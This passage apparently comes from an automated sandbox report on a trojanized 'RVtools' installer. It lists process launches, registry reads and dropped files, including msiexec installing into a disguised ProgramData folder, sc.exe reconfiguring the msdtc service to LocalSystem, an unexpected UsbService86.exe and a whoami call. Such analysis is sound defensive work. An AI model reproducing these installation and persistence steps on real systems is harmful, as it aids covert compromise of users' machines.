CURL_CA_BUNDLE, PATHEXT, DriverData, PROCESSOR_ARCHITEW6432, ProgramData, ProgramW6432, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, OneDrive, APPDATA, CommonProgramFiles, Path, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, SystemRoot, TEMP, HOMEDRIVE, USERPROFILE, TMP, CommonProgramFiles(x86), NUMBER_OF_PROCESSORS" Process "whoami.exe" (UID: 00000000-00005040) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-8LD9T6N", NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="C:\Users\KdHcW8W\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", SystemDrive="C:", USERNAME="KdHcW8W", USERDNSDOMAIN="RVFh5nKNjQOPiSK", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", DriverData="%WINDIR%\System32\Drivers\DriverData", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\KdHcW8W", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="RVFh5nKNjQOPiSK", LOGONSERVER="\\DESKTOP-8LD9T6N", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", CommonProgramFiles="%PROGRAMFILES%\Common Files", Path="%PROGRAMFILES%\(x86)\Common Files\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%WINDIR%\System32\OpenSSH\;%NVM_HOME%;%NVM_SYMLINK%", OS="Windows_NT", COMPUTERNAME="RVFh5nKNjQOPiSK", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", HOMEDRIVE="C:", USERPROFILE="C:\Users\KdHcW8W", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", NUMBER_OF_PROCESSORS="8"" Process "whoami.exe" (UID: 00000000-00005040) was launched with missing environment variables: "computername, programw6432, commonprogramfiles, homedrive, pathext, path, comspec, homepath, sessionname, tmp, processor_revision, driverdata, localappdata, sslkeylogfile, curl_ca_bundle, userprofile, number_of_processors, programfiles, processor_level, userdnsdomain, userdomain_roamingprofile, commonprogramfiles(x86), processor_architecture, processor_identifier, logonserver, nvm_symlink, systemroot, userdomain, commonprogramw6432, allusersprofile, public, temp, os, programdata, nvm_home, programfiles(x86), psmodulepath, onedrive, _clrrestrictsecattributes, systemdrive, appdata, username"48:T683,"start.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SCURRENCY") "start.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "ICALENDARTYPE") "start.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "start.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "start.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "start.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "RVtools-4.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "RVtools-4.7.0.2.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SCURRENCY") "RVtools-4.7.0.2.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "ICALENDARTYPE") "RVtools-4.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "RVtools-4.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "sc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "UsbService86.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SCURRENCY") "UsbService86.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "ICALENDARTYPE") "UsbService86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "UsbService86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "UsbService86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "UsbService86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "UsbService86.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH")49:Td2f,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004460-00000C2E-1995108202] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004460-00000C2B-3101673525] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004460-00000C2B-3101826225] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004460-00000C2B-3101935788] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00004460-00000C2B-3102145936] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004460-00000C2B-3102259149] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004460-00000C2B-3102337651] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00004460-00000C2B-3102445331] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00004460-00000C2B-3102507378] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004460-00000C2B-3102626543] Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00001196-00000C2B-3105727180] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00001196-00000C2B-3105779336] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00001196-00000C2B-3105831001] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00001196-00000C2B-3105950967] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00001196-00000C2B-3105996865] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00001196-00000C2B-3106040338] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00001196-00000C2B-3106081159] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00001196-00000C2B-3106145516] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00001196-00000C2B-3106207620] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00001196-00000C2B-3106252786] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00001196-00000C2B-3106307551] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00001196-00000C2B-3106348593] Observed system executable string:"%WINDIR%\system32\RichEd20.dll" [Source: 00000000-00001196-00000C2B-3106695793] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00007744-00000C2B-3134572047] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007744-00000C2B-3134774623]4a:T711,Spawned process "msiexec.exe" with commandline "/V" (UID: 00000000-00002836) Spawned process "MsiExec.exe" with commandline "-Embedding 7CDB7F398BC9A15DCE50F1FBC4EFF031" (UID: 00000000-00008752) Spawned process "MsiExec.exe" with commandline "-Embedding 6715738CA6A39297D4D374FA8F2A2F8F E Global\\MSI0000" (UID: 00000000-00007436) Spawned process "ICACLS.EXE" with commandline ""%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\." /SETINTEGRI ..." (UID: 00000000-00004744) Spawned process "EXPAND.EXE" with commandline "-R files.cab -F:* files" (UID: 00000000-00007788) Spawned process "start.exe" with commandline "RVtools-4.7.0.2.exe" (UID: 00000000-00004460) Spawned process "RVtools-4.7.0.2.exe" (UID: 00000000-00001196) Spawned process "ICACLS.EXE" with commandline ""%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\." /SETINTEGRI ..." (UID: 00000000-00004896) Spawned process "msiexec.exe" with commandline "/i "%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\rvtools.msi"" (UID: 00000000-00003268) Spawned process "MsiExec.exe" with commandline "-Embedding 6F43EBE0D5C81EBF13585B3A8C1B3600 C" (UID: 00000000-00003708) Spawned process "sc.exe" with commandline "sc config msdtc start= demand" (UID: 00000000-00008164) Spawned process "sc.exe" with commandline "sc config msdtc obj= "LocalSystem"" (UID: 00000000-00007268) Spawned process "UsbService86.exe" with commandline "%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\LICENSE1.tx ..." (UID: 00000000-00007744) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\5aat0yyl\\5aat0yyl.cmdline"" (UID: 00000000-00002832) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES9F0C.tmp" "%TEM ..." (UID: 00000000-00004036), Spawned process "whoami.exe" (UID: 00000000-00005040)4b:T711,Spawned process "msiexec.exe" with commandline "/V" (UID: 00000000-00002836) Spawned process "MsiExec.exe" with commandline "-Embedding 7CDB7F398BC9A15DCE50F1FBC4EFF031" (UID: 00000000-00008752) Spawned process "MsiExec.exe" with commandline "-Embedding 6715738CA6A39297D4D374FA8F2A2F8F E Global\\MSI0000" (UID: 00000000-00007436) Spawned process "ICACLS.EXE" with commandline ""%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\." /SETINTEGRI ..." (UID: 00000000-00004744) Spawned process "EXPAND.EXE" with commandline "-R files.cab -F:* files" (UID: 00000000-00007788) Spawned process "start.exe" with commandline "RVtools-4.7.0.2.exe" (UID: 00000000-00004460) Spawned process "RVtools-4.7.0.2.exe" (UID: 00000000-00001196) Spawned process "ICACLS.EXE" with commandline ""%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\." /SETINTEGRI ..." (UID: 00000000-00004896) Spawned process "msiexec.exe" with commandline "/i "%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\rvtools.msi"" (UID: 00000000-00003268) Spawned process "MsiExec.exe" with commandline "-Embedding 6F43EBE0D5C81EBF13585B3A8C1B3600 C" (UID: 00000000-00003708) Spawned process "sc.exe" with commandline "sc config msdtc start= demand" (UID: 00000000-00008164) Spawned process "sc.exe" with commandline "sc config msdtc obj= "LocalSystem"" (UID: 00000000-00007268) Spawned process "UsbService86.exe" with commandline "%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\LICENSE1.tx ..." (UID: 00000000-00007744) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\5aat0yyl\\5aat0yyl.cmdline"" (UID: 00000000-00002832) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES9F0C.tmp" "%TEM ..." (UID: 00000000-00004036), Spawned process "whoami.exe" (UID: 00000000-00005040)4c:T4104,"Unicode.Data.Automation.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\Unicode.Data.Automation.dll]- [targetUID: 00000000-00001196] "python312.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\python312.dll]- [targetUID: 00000000-00001196] "rvtools.msi" has type "Composite Document File V2 Document Can't read directory"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\rvtools.msi]- [targetUID: 00000000-00001196] "3e85cc.msi" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 MSI Installer Code page: 1252 Title: RVtools System 4.7.0.2 Subject: RVtools System Author: RVtools System Keywords: Installer Comments: Provides system services for Windows processes. Template: Intel;1033 Revision Number: {AB8628F6-DA13-4049-9597-26D91707CDD7} Create Time/Date: Sat Jul 19 13:02:12 2025 Last Saved Time/Date: Sat Jul 19 13:02:12 2025 Number of Pages: 200 Number of Words: 2 Name of Creating Application: MSI Wrapper (25.0.54.0) Security: 2"- [targetUID: N/A] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libcrypto-3.dll]- [targetUID: 00000000-00001196] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\sqlite3.dll]- [targetUID: 00000000-00001196] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libssl-3.dll]- [targetUID: 00000000-00001196] "Python.Runtime.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pythonnet\runtime\Python.Runtime.dll]- [targetUID: 00000000-00001196] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python.exe]- [targetUID: 00000000-00001196] "UsbService86.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\UsbService86.exe]- [targetUID: 00000000-00001196] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python3.dll]- [targetUID: 00000000-00001196] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\vcruntime140_1.dll]- [targetUID: 00000000-00001196] "ClrLoader.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\amd64\ClrLoader.dll]- [targetUID: 00000000-00001196] "ClrLoader.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\x86\ClrLoader.dll]- [targetUID: 00000000-00001196] "nsExec.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nsgDF58.tmp\nsExec.dll]- [targetUID: 00000000-00001196] "python312.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified last modified Sun Apr 09 2024 14:42:46 uncompressed size 4858 method=deflate"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\python312.zip]- [targetUID: 00000000-00001196] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\unicodedata.pyd]- [targetUID: 00000000-00001196] "MSIC2B7.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_decimal.pyd]- [targetUID: 00000000-00001196] "MSIB386.tmp" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- [targetUID: N/A] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pyexpat.pyd]- [targetUID: 00000000-00001196] "_cffi_backend.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_cffi_backend.cp312-win_amd64.pyd]- [targetUID: 00000000-00001196] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ssl.pyd]- [targetUID: 00000000-00001196] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_lzma.pyd]- [targetUID: 00000000-00001196] "yacc.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\yacc.py]- [targetUID: 00000000-00001196] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_elementtree.pyd]- [targetUID: 00000000-00001196] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ctypes.pyd]- [targetUID: 00000000-00001196] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_sqlite3.pyd]- [targetUID: 00000000-00001196] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_bz2.pyd]- [targetUID: 00000000-00001196] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_socket.pyd]- [targetUID: 00000000-00001196] "coreclr_errors.py" has type "Python script ASCII text executable with very long lines (396)"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\coreclr_errors.py]- [targetUID: 00000000-00001196] "c_parser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_parser.py]- [targetUID: 00000000-00001196] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_asyncio.pyd]- [targetUID: 00000000-00001196] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_hashlib.pyd]- [targetUID: 00000000-00001196] "recompiler.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\recompiler.py]- [targetUID: 00000000-00001196] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_overlapped.pyd]- [targetUID: 00000000-00001196] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_zoneinfo.pyd]- [targetUID: 00000000-00001196] "_msi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_msi.pyd]- [targetUID: 00000000-00001196] "cparser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\cparser.py]- [targetUID: 00000000-00001196] "vengine_cpy.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_cpy.py]- [targetUID: 00000000-00001196] "lex.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\lex.py]- [targetUID: 00000000-00001196] "backend_ctypes.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\backend_ctypes.py]- [targetUID: 00000000-00001196] "api.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\api.py]- [targetUID: 00000000-00001196] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_wmi.pyd]- [targetUID: 00000000-00001196] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_multiprocessing.pyd]- [targetUID: 00000000-00001196] "cpp.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\cpp.py]- [targetUID: 00000000-00001196] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_queue.pyd]- [targetUID: 00000000-00001196] "c_ast.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_ast.py]- [targetUID: 00000000-00001196] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\select.pyd]- [targetUID: 00000000-00001196] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\winsound.pyd]- [targetUID: 00000000-00001196] "vengine_gen.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_gen.py]- [targetUID: 00000000-00001196] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_uuid.pyd]- [targetUID: 00000000-00001196] "model.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\model.py]- [targetUID: 00000000-00001196] "inprogressinstallinfo.ipi" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "c_generator.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\c_generator.py]- [targetUID: 00000000-00001196] "c_lexer.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_lexer.py]- [targetUID: 00000000-00001196] "verifier.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\verifier.py]- [targetUID: 00000000-00001196] "_ast_gen.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\_ast_gen.py]- [targetUID: 00000000-00001196] "setuptools_ext.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\setuptools_ext.py]- [targetUID: 00000000-00001196] "mono.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\mono.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\__init__.py]- [targetUID: 00000000-00001196] "hostfxr.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\hostfxr.py]- [targetUID: 00000000-00001196] "cffi_opcode.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\cffi_opcode.py]- [targetUID: 00000000-00001196] "ast_transforms.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ast_transforms.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pythonnet\__init__.py]- [targetUID: 00000000-00001196] "find.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\find.py]- [targetUID: 00000000-00001196] "plyparser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\plyparser.py]- [targetUID: 00000000-00001196] "types.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\types.py]- [targetUID: 00000000-00001196] "pkgconfig.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\pkgconfig.py]- [targetUID: 00000000-00001196] "ffiplatform.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\ffiplatform.py]- [targetUID: 00000000-00001196] "ctokens.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\ctokens.py]- [targetUID: 00000000-00001196] "_imp_emulation.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\_imp_emulation.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\__init__.py]- [targetUID: 00000000-00001196] "commontypes.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\commontypes.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\__init__.py]- [targetUID: 00000000-00001196] "ygen.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\ygen.py]- [targetUID: 00000000-00001196] "_shimmed_dist_utils.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\_shimmed_dist_utils.py]- [targetUID: 00000000-00001196] "hostfxr_errors.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\hostfxr_errors.py]- [targetUID: 00000000-00001196] "netfx.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\netfx.py]- [targetUID: 00000000-00001196] "_build_tables.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\_build_tables.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\__init__.py]- [targetUID: 00000000-00001196] "error.py" has type 